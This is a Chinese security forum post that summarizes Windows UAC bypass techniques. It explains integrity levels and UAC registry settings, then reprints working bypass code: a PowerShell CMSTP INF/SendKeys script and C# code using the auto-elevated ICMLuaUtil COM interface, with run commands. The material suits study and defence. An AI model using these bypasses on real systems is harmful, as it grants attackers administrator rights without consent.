安全矩阵

 找回密码
 立即注册
搜索
查看: 993|回复: 0

UAC绕过学习-总结

[复制链接]

180

主题

231

帖子

1178

积分

金牌会员

Rank: 6Rank: 6

积分
1178
发表于 2022-9-30 11:48:54 | 显示全部楼层 |阅读模式

UAC绕过学习-总结


1、什么是uac?
[backcolor=rgba(255, 255, 255, 0.9)]UAC 用于允许管理员用户不对每个执行的进程授予管理员权限这是作为管理员UAC提升执行,如果成功完成,特权令牌用于创建进程。
[backcolor=rgba(255, 255, 255, 0.9)]这里为了区分低权限高权限的进程,微软使用了强制性完整性控制MIC
MIC介绍
[backcolor=rgba(255, 255, 255, 0.9)]查看自己当前的完整性级别
  1. whoami /groups
复制代码

[backcolor=rgba(255, 255, 255, 0.9)]
接下来我们以该级别创建一个文件

现在我们以管理员cmd给予test.txt最高的系统权限

可以看见我们对该文件是有FULL权限的,但是由于mic完整性校验控制

我们当前是中 level 所以 对高level的不能完全控制
也就是这里说的
Therefore, when a file has a minimum integrity level, in order to modify it you need to be running at least in that integrity level.
那我们如果将cmd.exe 的完整性校验改为高 他会自动以高权限运行吗
如下


[backcolor=rgba(255, 255, 255, 0.9)]
这里我们就很明白了
Not all files and folders have a minimum integrity level, but all processes are running under an integrity level. And similar to what happened with the file-system, if a process wants to write inside another process it must have at least the same integrity level. This means that a process with low integrity level can’t open a handle with full access to a process with medium integrity level.
  1. 并非所有文件和文件夹都具有最低完整性级别,但所有进程都在完整性级别下运行。与文件系统发生的情况类似,如果一个进程想要在另一个进程内部写入,它必须至少具有相同的完整性级别。这意味着具有低完整性级别的进程无法打开对具有中等完整性级别的进程具有完全访问权限的句柄。
复制代码


check list UAC
[backcolor=rgba(255, 255, 255, 0.9)]我们通过此条注册表查询UAC的情况 reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System 这里 EnableLUA 1为开启UAC 0为关闭UAC、
[backcolor=rgba(255, 255, 255, 0.9)]
[backcolor=rgba(255, 255, 255, 0.9)]此外还需要注意此项
[backcolor=rgba(255, 255, 255, 0.9)]ConsentPromptBehaviorAdmin
[backcolor=rgba(255, 255, 255, 0.9)]我们一般遇到2和5


  1. 此外还需要注意
  2. FilterAdministratorToken(这里解决了一直只知道uac不能普通管理员不能远程ipc执行命令 只有administrator可以的问题)
复制代码


[backcolor=rgba(255, 255, 255, 0.9)]

UAC-绕过手段
1、白名单机制bypassUAC 这里有狠多具体参考uacme这里我拿cmstp举例
[backcolor=rgba(255, 255, 255, 0.9)]参考代码
  1. # UAC Bypass poc using SendKeys
  2. # Version 1.0
  3. # Author: Oddvar Moe
  4. # Functions borrowed from: https://powershell.org/forums/topic/sendkeys/
  5. # Todo: Hide window on screen for stealth
  6. # Todo: Make script edit the INF file for command to inject...


  7. Function script:Set-INFFile {
  8. [CmdletBinding()]
  9.   Param (
  10.   [Parameter(HelpMessage="Specify the INF file location")]
  11.   $InfFileLocation = "$env:temp\CMSTP.inf",
  12.   
  13.   [Parameter(HelpMessage="Specify the command to launch in a UAC-privileged window")]
  14.   [String]$CommandToExecute = 'C:\Users\xxx\Desktop\uactest\artifact.exe'
  15.   )

  16. $InfContent = @"
  17. [version]
  18. Signature=`$chicago`$
  19. AdvancedINF=2.5

  20. [DefaultInstall]
  21. CustomDestination=CustInstDestSectionAllUsers
  22. RunPreSetupCommands=RunPreSetupCommandsSection

  23. [RunPreSetupCommandsSection]
  24. ; Commands Here will be run Before Setup Begins to install
  25. $CommandToExecute
  26. taskkill /IM cmstp.exe /F

  27. [CustInstDestSectionAllUsers]
  28. 49000,49001=AllUSer_LDIDSection, 7

  29. [AllUSer_LDIDSection]
  30. "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""

  31. [Strings]
  32. ServiceName="CorpVPN"
  33. ShortSvcName="CorpVPN"

  34. "@

  35. $InfContent | Out-File $InfFileLocation -Encoding ASCII
  36. }


  37. Function Get-Hwnd
  38. {
  39.   [CmdletBinding()]
  40.    
  41.   Param
  42.   (
  43.     [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $ProcessName
  44.   )
  45.   Process
  46.     {
  47.         $ErrorActionPreference = 'Stop'
  48.         Try
  49.         {
  50.             $hwnd = Get-Process -Name $ProcessName | Select-Object -ExpandProperty MainWindowHandle
  51.         }
  52.         Catch
  53.         {
  54.             $hwnd = $null
  55.         }
  56.         $hash = @{
  57.         ProcessName = $ProcessName
  58.         Hwnd        = $hwnd
  59.         }
  60.         
  61.     New-Object -TypeName PsObject -Property $hash
  62.     }
  63. }

  64. function Set-WindowActive
  65. {
  66.   [CmdletBinding()]

  67.   Param
  68.   (
  69.     [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $Name
  70.   )
  71.   
  72.   Process
  73.   {
  74.     $memberDefinition = @'
  75.     [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  76.     [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);

  77. '@

  78.     Add-Type -MemberDefinition $memberDefinition -Name Api -Namespace User32
  79.     $hwnd = Get-Hwnd -ProcessName $Name | Select-Object -ExpandProperty Hwnd
  80.     If ($hwnd)
  81.     {
  82.       $onTop = New-Object -TypeName System.IntPtr -ArgumentList (0)
  83.       [User32.Api]::SetForegroundWindow($hwnd)
  84.       [User32.Api]::ShowWindow($hwnd, 5)
  85.     }
  86.     Else
  87.     {
  88.       [string] $hwnd = 'N/A'
  89.     }

  90.     $hash = @{
  91.       Process = $Name
  92.       Hwnd    = $hwnd
  93.     }
  94.         
  95.     New-Object -TypeName PsObject -Property $hash
  96.   }
  97. }

  98. . Set-INFFile
  99. #Needs Windows forms
  100. add-type -AssemblyName System.Windows.Forms
  101. If (Test-Path $InfFileLocation) {
  102. #Command to run
  103. $ps = new-object system.diagnostics.processstartinfo "c:\windows\system32\cmstp.exe"
  104. $ps.Arguments = "/au $InfFileLocation"
  105. $ps.UseShellExecute = $false

  106. #Start it
  107. [system.diagnostics.process]::Start($ps)

  108. do
  109. {
  110.   # Do nothing until cmstp is an active window
  111. }
  112. until ((Set-WindowActive cmstp).Hwnd -ne 0)


  113. #Activate window
  114. Set-WindowActive cmstp

  115. #Send the Enter key
  116. [System.Windows.Forms.SendKeys]::SendWait("{ENTER}")
  117. }
复制代码

然后运行
[backcolor=rgba(255, 255, 255, 0.9)]powershell -ExecutionPolicy bypass C:\Users\xxx\Desktop\uactest\usctest.ps1
powershell C:\Users\xxxx\Desktop\uactest\usctest.ps1

2、利用com组件提权
这里以ICMLuaUtil为例子
主要原理是
该方法原理在于调用COM组件中自动提权并且可以执行命令的接口。
  1. using System;
  2. using System.Runtime.CompilerServices;
  3. using System.Runtime.InteropServices;

  4. namespace UAC_comICM
  5. {
  6.     public class Class1
  7.     {
  8.         internal enum HRESULT : long
  9.         {
  10.             S_FALSE = 0x0001,
  11.             S_OK = 0x0000,
  12.             E_INVALIDARG = 0x80070057,
  13.             E_OUTOFMEMORY = 0x8007000E
  14.         }

  15.         [StructLayout(LayoutKind.Sequential)]
  16.         internal struct BIND_OPTS3
  17.         {
  18.             internal uint cbStruct;
  19.             internal uint grfFlags;
  20.             internal uint grfMode;
  21.             internal uint dwTickCountDeadline;
  22.             internal uint dwTrackFlags;
  23.             internal uint dwClassContext;
  24.             internal uint locale;
  25.             object pServerInfo; // will be passing null, so type doesn't matter
  26.             internal IntPtr hwnd;
  27.         }

  28.         [Flags]
  29.         internal enum CLSCTX
  30.         {
  31.             CLSCTX_INPROC_SERVER = 0x1,
  32.             CLSCTX_INPROC_HANDLER = 0x2,
  33.             CLSCTX_LOCAL_SERVER = 0x4,
  34.             CLSCTX_REMOTE_SERVER = 0x10,
  35.             CLSCTX_NO_CODE_DOWNLOAD = 0x400,
  36.             CLSCTX_NO_CUSTOM_MARSHAL = 0x1000,
  37.             CLSCTX_ENABLE_CODE_DOWNLOAD = 0x2000,
  38.             CLSCTX_NO_FAILURE_LOG = 0x4000,
  39.             CLSCTX_DISABLE_AAA = 0x8000,
  40.             CLSCTX_ENABLE_AAA = 0x10000,
  41.             CLSCTX_FROM_DEFAULT_CONTEXT = 0x20000,
  42.             CLSCTX_INPROC = CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER,
  43.             CLSCTX_SERVER = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER,
  44.             CLSCTX_ALL = CLSCTX_SERVER | CLSCTX_INPROC_HANDLER
  45.         }

  46.         const ulong SEE_MASK_DEFAULT = 0x0;
  47.         const ulong SW_SHOW = 0x5;

  48.         [DllImport("ole32.dll", CharSet = CharSet.Unicode, ExactSpelling = true, PreserveSig = false)]
  49.         [return: MarshalAs(UnmanagedType.Interface)]
  50.         internal static extern object CoGetObject(
  51.           string pszName,
  52.           [In] ref BIND_OPTS3 pBindOptions,
  53.           [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);

  54.         [DllExport]
  55.         public static void BypassUAC()
  56.         {
  57.             Guid classId_cmstplua = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7");
  58.             // Interface ID
  59.             Guid interfaceId_icmluautil = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C");

  60.             ICMLuaUtil icm = (ICMLuaUtil)LaunchElevatedCOMObject(classId_cmstplua, interfaceId_icmluautil); ;
  61.             icm.ShellExec(@"cmd.exe", string.Format("/c {0}", "calc"), @"C:\windows\system32", SEE_MASK_DEFAULT, SW_SHOW);
  62.             Marshal.ReleaseComObject(icm);
  63.         }

  64.         public static object LaunchElevatedCOMObject(Guid Clsid, Guid InterfaceID)
  65.         {
  66.             string CLSID = Clsid.ToString("B");
  67.             string monikerName = "Elevation:Administrator!new:" + CLSID;

  68.             BIND_OPTS3 bo = new BIND_OPTS3();
  69.             bo.cbStruct = (uint)Marshal.SizeOf(bo);
  70.             bo.hwnd = IntPtr.Zero;
  71.             bo.dwClassContext = (int)CLSCTX.CLSCTX_LOCAL_SERVER;

  72.             object retVal = CoGetObject(monikerName, ref bo, InterfaceID);

  73.             return (retVal);
  74.         }

  75.         [ComImport, Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
  76.         interface ICMLuaUtil
  77.         {
  78.             //[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
  79.             //void QueryInterface([In, MarshalAs(UnmanagedType.LPStruct)] Guid riid, [In, Out] ref IntPtr ppv);
  80.             //[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
  81.             //void AddRef();
  82.             //[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
  83.             //void Release();
  84.             void Method1();
  85.             void Method2();
  86.             void Method3();
  87.             void Method4();
  88.             void Method5();
  89.             void Method6();
  90.             HRESULT ShellExec(
  91.                 [In, MarshalAs(UnmanagedType.LPWStr)] string file,
  92.                 [In, MarshalAs(UnmanagedType.LPWStr)] string paramaters,
  93.                 [In, MarshalAs(UnmanagedType.LPWStr)] string directory,
  94.                 [In] ulong fMask,
  95.                 [In] ulong nShow);

  96.             
  97.         }
  98.     }
  99. }
复制代码

这里由于必须使用rundll32.exe去拉取,不然会是系统不信任的进程 所以启动格式为rundll32.exe dll uac修改PEB结构,欺骗PSAPI,调用COM组件ICMLuaUtil.shellexec去执行
参考如下
https://github.com/0xlane/BypassUAC/blob/master/BypassUAC_csharp/PEBMasq.cs https://pingmaoer.github.io/2020 ... %E5%AD%A6%E4%B9%A0/ https://3gstudent.github.io/%E9% ... 6%E6%96%87%E4%BB%B6
[backcolor=rgba(255, 255, 255, 0.9)]好处就是不用调用rundll32.exe这种可信的文件
这里提供快速查找本机可利用com的手法
https://github.com/hfiref0x/UACM ... 6854/Source/Yuubari

这里使用之前提到的cmstplua进行搜索3e5fc7f9-9a51-4367-9063-a120244fbec7可以看到Autoelevated COM objects 组件CMSTPLUA的信息。通过这种方式,我们可以把当前系统所有支持auto-elevate的COM组件以及应用全部都列出来
  1. 参考 https://cloud.tencent.com/developer/article/1623517 https://github.com/0xlane/BypassUAC/blob/master/BypassUAC_Dll_csharp/dllmain.cs https://pingmaoer.github.io/2020/07/09/BypassUAC%E6%96%B9%E6%B3%95%E8%AE%BA%E5%AD%A6%E4%B9%A0/
复制代码


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 01:58 , Processed in 0.016696 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表